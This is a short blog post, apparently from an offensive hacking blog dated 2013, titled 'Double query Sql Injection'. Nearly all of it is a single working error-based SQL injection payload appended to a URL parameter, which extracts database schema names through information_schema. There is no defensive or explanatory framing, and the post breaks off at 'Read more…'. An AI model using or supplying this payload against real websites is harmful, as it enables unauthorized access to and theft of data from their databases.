Showing posts with label Double query Sqli. Show all posts
Showing posts with label Double query Sqli. Show all posts

Saturday, March 30, 2013

Double query Sql Injection


Database :::
whatever.com/index.php?id=myass and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Read more…